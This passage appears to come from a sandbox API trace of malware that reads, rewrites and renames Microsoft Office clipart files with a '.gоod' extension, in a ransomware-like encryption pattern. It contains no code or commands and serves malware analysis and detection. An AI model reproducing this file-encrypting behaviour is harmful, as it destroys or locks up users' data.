office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.104] GetFileType (hFile=0x820) returned 0x1 [0209.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0209.105] GetFileType (hFile=0x820) returned 0x1 [0209.105] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x30e8 [0209.105] WriteFile (in: hFile=0x820, lpBuffer=0x34b3b58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x34b3b58*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0209.106] CloseHandle (hObject=0x820) returned 1 [0209.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", lpFilePart=0x0) returned 0x44 [0209.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0209.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.106] GetFileType (hFile=0x820) returned 0x1 [0209.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0209.106] GetFileType (hFile=0x820) returned 0x1 [0209.106] ReadFile (in: hFile=0x820, lpBuffer=0x34b5e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x34b5e18*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0209.140] CloseHandle (hObject=0x820) returned 1 [0209.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", lpFilePart=0x0) returned 0x44 [0209.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0209.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.140] GetFileType (hFile=0x820) returned 0x1 [0209.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0209.140] GetFileType (hFile=0x820) returned 0x1 [0209.140] WriteFile (in: hFile=0x820, lpBuffer=0x34b4b70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34b4b70*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0209.140] CloseHandle (hObject=0x820) returned 1 [0209.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", lpFilePart=0x0) returned 0x44 [0209.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0209.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0209.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x78de0e43, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30f8)) returned 1 [0209.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0209.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.gоod")) returned 1 [0209.142] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", lpFilePart=0x0) returned 0x44 [0209.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0209.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x35322c8 | out: lpFileInformation=0x35322c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265a)) returned 1 [0209.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0209.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", lpFilePart=0x0) returned 0x44 [0209.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0209.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0209.676] GetFileType (hFile=0x828) returned 0x1 [0209.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0209.676] GetFileType (hFile=0x828) returned 0x1 [0209.676] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0209.676] ReadFile (in: hFile=0x828, lpBuffer=0x3677220, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3677220*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0209.677] CloseHandle (hObject=0x828) returned 1 [0209.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", lpFilePart=0x0) returned 0x44 [0209.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0209.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0209.677] GetFileType (hFile=0x828) returned 0x1 [0209.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0209.677] GetFileType (hFile=0x828) returned 0x1 [0209.677] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x265a [0209.678] WriteFile (in: hFile=0x828, lpBuffer=0x36784b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x36784b8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0209.678] CloseHandle (hObject=0x828) returned 1 [0209.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", lpFilePart=0x0) returned 0x44 [0209.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0209.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0209.679] GetFileType (hFile=0x828) returned 0x1 [0209.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0209.679] GetFileType (hFile=0x828) returned 0x1 [0209.679] ReadFile (in: hFile=0x828, lpBuffer=0x367a778, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x367a778*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0209.820] CloseHandle (hObject=0x828) returned 1 [0209.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", lpFilePart=0x0) returned 0x44 [0209.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0209.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0209.820] GetFileType (hFile=0x828) returned 0x1 [0209.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0209.820] GetFileType (hFile=0x828) returned 0x1 [0209.820] WriteFile (in: hFile=0x828, lpBuffer=0x34ec5b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34ec5b8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0209.820] CloseHandle (hObject=0x828) returned 1 [0209.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", lpFilePart=0x0) returned 0x44 [0209.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0209.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0209.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79471d09, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x266a)) returned 1 [0209.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0209.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.gоod")) returned 1 [0209.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", lpFilePart=0x0) returned 0x44 [0209.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0209.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x351e9c8 | out: lpFileInformation=0x351e9c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6)) returned 1 [0209.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0209.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", lpFilePart=0x0) returned 0x44 [0209.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0209.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0209.822] GetFileType (hFile=0x828) returned 0x1 [0209.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0209.822] GetFileType (hFile=0x828) returned 0x1 [0209.822] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0209.823] ReadFile (in: hFile=0x828, lpBuffer=0x351ede0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x351ede0*, lpNumberOfBytesRead=0x1faedd28*=0xeb6, lpOverlapped=0x0) returned 1 [0209.824] CloseHandle (hObject=0x828) returned 1 [0209.824] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", lpFilePart=0x0) returned 0x44 [0209.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0209.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0209.824] GetFileType (hFile=0x828) returned 0x1 [0209.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0209.824] GetFileType (hFile=0x828) returned 0x1 [0209.824] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1eb6 [0209.824] WriteFile (in: hFile=0x828, lpBuffer=0x3520078*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3520078*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0209.825] CloseHandle (hObject=0x828) returned 1 [0209.825] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", lpFilePart=0x0) returned 0x44 [0209.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0209.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0209.825] GetFileType (hFile=0x828) returned 0x1 [0209.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0209.825] GetFileType (hFile=0x828) returned 0x1 [0209.825] ReadFile (in: hFile=0x828, lpBuffer=0x3522338, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3522338*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0213.133] CloseHandle (hObject=0x828) returned 1 [0213.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", lpFilePart=0x0) returned 0x44 [0213.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0213.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0213.134] GetFileType (hFile=0x828) returned 0x1 [0213.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0213.134] GetFileType (hFile=0x828) returned 0x1 [0213.134] WriteFile (in: hFile=0x828, lpBuffer=0x3376600*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3376600*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0213.134] CloseHandle (hObject=0x828) returned 1 [0213.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", lpFilePart=0x0) returned 0x44 [0213.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0213.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0213.134] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7b408cef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6)) returned 1 [0213.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0213.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.gоod")) returned 1 [0213.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF", lpFilePart=0x0) returned 0x44 [0213.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0213.136] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3623e48 | out: lpFileInformation=0x3623e48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f4)) returned 1 [0213.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0213.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF", lpFilePart=0x0) returned 0x44 [0213.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0213.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0213.136] GetFileType (hFile=0x828) returned 0x1 [0213.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0213.136] GetFileType (hFile=0x828) returned 0x1 [0213.136] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x3f4 [0213.136] ReadFile (in: hFile=0x828, lpBuffer=0x36244e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x36244e8*, lpNumberOfBytesRead=0x1faedc88*=0x3f4, lpOverlapped=0x0) returned 1 [0213.138] CloseHandle (hObject=0x828) returned 1 [0213.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0213.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0213.165] GetFileType (hFile=0x828) returned 0x1 [0213.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0213.166] GetFileType (hFile=0x828) returned 0x1 [0213.166] WriteFile (in: hFile=0x828, lpBuffer=0x369cfd0*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x369cfd0*, lpNumberOfBytesWritten=0x1faedb98*=0x400, lpOverlapped=0x0) returned 1 [0213.166] CloseHandle (hObject=0x828) returned 1 [0213.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF", lpFilePart=0x0) returned 0x44 [0213.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 